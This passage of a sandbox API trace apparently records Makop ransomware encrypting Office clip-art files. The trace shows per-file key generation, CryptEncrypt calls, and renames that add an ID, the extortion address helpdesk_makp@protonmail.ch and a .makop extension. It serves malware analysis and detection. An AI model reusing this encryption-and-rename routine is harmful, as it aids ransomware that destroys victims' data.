Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.873] GetProcessHeap () returned 0x48a0000 [0166.874] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.874] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.874] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.878] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.878] GetProcessHeap () returned 0x48a0000 [0166.878] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.878] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.878] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.878] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.878] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.878] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.878] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.879] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.879] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.879] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x8a4, lpOverlapped=0x0) returned 1 [0166.879] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8b0) returned 1 [0166.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.879] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8b0, lpOverlapped=0x0) returned 1 [0166.879] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.880] SetEndOfFile (hFile=0x130) returned 1 [0166.885] GetProcessHeap () returned 0x48a0000 [0166.885] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.885] GetProcessHeap () returned 0x48a0000 [0166.885] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.886] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.888] CloseHandle (hObject=0x130) returned 1 [0166.888] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0166.888] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF") returned 70 [0166.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.891] GetProcessHeap () returned 0x48a0000 [0166.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.891] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0166.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.895] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.895] GetProcessHeap () returned 0x48a0000 [0166.895] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.895] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.895] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.895] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.896] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.896] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.896] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.896] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.896] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.897] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x142e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x142e, lpOverlapped=0x0) returned 1 [0166.898] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1430, dwBufLen=0x1430 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1430) returned 1 [0166.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.898] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1430, lpOverlapped=0x0) returned 1 [0166.898] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.898] SetEndOfFile (hFile=0x130) returned 1 [0166.904] GetProcessHeap () returned 0x48a0000 [0166.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.904] GetProcessHeap () returned 0x48a0000 [0166.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.904] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.907] CloseHandle (hObject=0x130) returned 1 [0166.907] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0166.907] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF") returned 70 [0166.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.908] GetProcessHeap () returned 0x48a0000 [0166.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.908] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.908] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.912] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.912] GetProcessHeap () returned 0x48a0000 [0166.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.912] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.912] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.912] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.913] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.913] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.913] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.913] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.913] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.914] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x90c, lpOverlapped=0x0) returned 1 [0166.914] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x910, dwBufLen=0x910 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x910) returned 1 [0166.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.914] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x910, lpOverlapped=0x0) returned 1 [0166.914] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.914] SetEndOfFile (hFile=0x130) returned 1 [0166.922] GetProcessHeap () returned 0x48a0000 [0166.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.922] GetProcessHeap () returned 0x48a0000 [0166.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.922] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.924] CloseHandle (hObject=0x130) returned 1 [0166.924] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0166.924] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF") returned 70 [0166.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.925] GetProcessHeap () returned 0x48a0000 [0166.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.925] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.926] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0166.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.930] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.930] GetProcessHeap () returned 0x48a0000 [0166.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.930] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.930] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.930] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.930] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.930] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.930] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.931] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.931] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.931] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.931] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x756, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x756, lpOverlapped=0x0) returned 1 [0166.931] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x760) returned 1 [0166.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.932] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x760, lpOverlapped=0x0) returned 1 [0166.932] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.932] SetEndOfFile (hFile=0x130) returned 1 [0166.939] GetProcessHeap () returned 0x48a0000 [0166.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.939] GetProcessHeap () returned 0x48a0000 [0166.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.939] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.941] CloseHandle (hObject=0x130) returned 1 [0166.941] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, 